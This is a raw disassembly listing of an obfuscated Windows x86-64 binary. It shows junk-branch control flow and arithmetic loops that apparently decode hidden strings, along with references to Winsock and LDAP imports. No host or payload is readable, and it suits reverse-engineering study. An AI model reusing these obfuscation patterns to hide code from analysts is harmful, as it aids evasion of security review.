lea r10, [rdi + 0x400]
jmp 0x140209eec
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140209edf
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140209e85
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140209e14
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14020a7c2
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x14020a80a
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020a80d
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2c
jmp 0x14020a831
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14020a86e
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x14020a883
movabs rdx, 0x762804f2acf943d8
mov ecx, ntohl
jmp 0x14020a49d
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14020a75c
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x14020a940
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
cmp r10, 0x41
jb 0x14020a6db
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x14020a7c4
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x14020a6e8
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x14020a620
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x14020a22a
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
jmp 0x14020a41b
movabs rdx, 0x245b66753cf0b6cc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020a940
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14020a75c
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14020a49d
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14020a883
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14020a86e
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14020a831
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14020a80d
movabs rdx, 0x75a693f66f0edb60
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020a80a
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x14020a7c2
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x14020a45a
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x14020a716
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x14020a53d
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14020a27c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020a489
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020a940
cmp rdi, rcx
jne 0x14020a4b4
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020a8b9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020a4de
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14020a70c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14020a50a
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x14020a80d
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14020a41d
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020a80a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020a56c
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020a7c4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020a59b
movabs rdx, 0x7af3a63a470207ce
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020a80d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020a5c6
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14020a880
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14020a5f1
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x14020a8b9
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14020a27c
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x14020a940
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020a63d
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14020a472
cmp rdi, rcx
jne 0x14020a663
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x14020a75c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020a68f
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14020a880
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020a6ac
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14020a526
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14020a22a
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14020a7c4
mov byte [rbp + r9 + 0xd90], bl
jmp 0x14020a94f
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xd90]
add bl, dl
add bl, r8b
jmp 0x14020a833
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xd90]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14020a8b9
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14020a8eb
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x14020a883
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14020a80d
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xd90], r8b
jmp 0x14020a80a
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
add r10, rsi
sub r9, rsi
jmp 0x14020a94f
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xd90], cl
jmp 0x14020a880
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14020a94f
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xd90], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xd90], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14020a940
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xd90]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x140209e01
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140209dfe
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x140209dee
lea rdx, [rbp + 0x1600308]
jmp 0x14020a9b9
lea rdx, [rbp + 0x1026e22]
jmp 0x14020a9b9
lea rdx, [rbp + 0xd90]
lea rcx, [rbp + 0x500]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20e0]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14020a9ee
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x20e0]
call fcn.14018c840
nop
lea rcx, [rbp + 0x20e0]
call fcn.140266950
nop
lea rcx, [rbp + 0x20e0]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x670], Ordinal_60
mov byte [rbp + 0x671], Ordinal_143
mov byte [rbp + 0x672], 0x61
mov byte [rbp + 0x673], 0xf3
mov byte [rbp + 0x674], 0x5a
mov byte [rbp + 0x675], 0xf1
mov byte [rbp + 0x676], 0x62
mov byte [rbp + 0x677], 0xf7
mov byte [rbp + 0x678], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x679], 0xf5
mov byte [rbp + 0x67a], 0x5b
mov byte [rbp + 0x67b], 0xfb
mov byte [rbp + 0x67c], WSAStartup
mov byte [rbp + 0x67d], 0xf9
mov byte [rbp + 0x67e], 0x5b
mov byte [rbp + 0x67f], 0xff
mov byte [rbp + 0x680], r15b
mov byte [rbp + 0x681], 0xfd
mov byte [rbp + 0x682], 0x59
mov byte [rbp + 0x683], 0xe3
mov byte [rbp + 0x684], Ordinal_79
mov byte [rbp + 0x685], 0xe1
mov byte [rbp + 0x686], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x687], 0xe7
mov byte [rbp + 0x688], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x689], 0xe5
mov byte [rbp + 0x68a], 0x7f
mov byte [rbp + 0x68b], 0xeb
mov byte [rbp + 0x68c], 0x7a
mov byte [rbp + 0x68d], 0xe9
mov byte [rbp + 0x68e], Ordinal_79
mov byte [rbp + 0x68f], 0xef
mov byte [rbp + 0x690], 0x7a
mov byte [rbp + 0x691], 0xed
mov byte [rbp + 0x692], 0x88
mov byte [rbp + 0x693], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x694], 0x84
mov byte [rbp + 0x695], Ordinal_211
mov byte [rbp + 0x696], Ordinal_217
mov byte [rbp + 0x697], Ordinal_217
xor eax, eax
mov qword [rbp + 0x698], rax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x14020b6dc
movzx r8d, byte [rbp + r9 + 0x670]
mov rdx, r8
cmp rdi, r9
ja 0x14020b6d3
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14020abaa
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14020abee
je 0x14020b652
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020b5ca
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020b59d
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14020b552
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14020b501
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14020b6ca
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14020ac14
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14020ae29
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020b4f0
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020b4cd
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14020b4a7
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14020b481
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020b463
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14020b154
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14020b133
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14020b10d
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14020b0ea
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14020b0c6
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14020b0a3
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020b080
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14020b06e
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14020b04b
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14020b037
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14020ac62
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14020b6a7
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14020b684
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14020ae63
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14020ae40
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14020ae1a
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14020b016
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14020aff5
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14020afd1
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14020afa6
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14020ac62
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14020af92
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14020af71
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14020af50
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14020af3c
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14020af19
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14020aef3
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14020aed0
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14020aead
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14020ae89
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14020ac62
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14020ac62
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020ac55
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14020abee
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020ab72
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_26
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020b51d
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14020b547
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14020b54a
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020b570
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14020b598
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14020b490
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14020b45c
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14020b067
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14020b341
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x670], bl
jmp 0x14020b67c
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020b1ea
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x14020b1b2
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x14020b177
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14020b341
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14020b61d
movabs rdx, 0xd390f2407abef38c
mov ecx, r12d
jmp 0x14020b260
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14020b5b8
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14020b598
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020b56e
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14020b54a
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020b547
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14020b51d
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14020b21e
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14020b435
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14020b2bf
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x14020b40f
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14020b358
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x14020afc4
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14020b51f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020b24a
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14020b66d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020b272
movabs rdx, 0xb8b05b574343cd24
mov ecx, r14d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14020b459
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020b29e
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14020b5b8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020b179
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14020b4b6
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020b2dc
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_26
jmp 0x14020ae98
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020b308
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14020b547
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020b325
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14020b0d5
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14020b1b4
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020b66d
jne 0x14020b37d
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14020b66d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020b3a7
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14020b45c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020b3c4
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14020b490
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020b3ee
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x14020b56e
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14020b1ec
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14020ae98
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x670]
sub bl, al
sub bl, 0x50
jmp 0x14020b0e2
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x670]
add bl, r8b
add bl, dl
jmp 0x14020b5eb
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x14020b45c
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020b5b8
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020b598
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020b54a
movabs rdx, 0xdc582daba1a1e692
mov ecx, esi
jmp 0x14020ae98
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x670], cl
add r10, rsi
sub r9, rsi
jmp 0x14020b67c
movabs rdx, 0x664819d0503a1e26
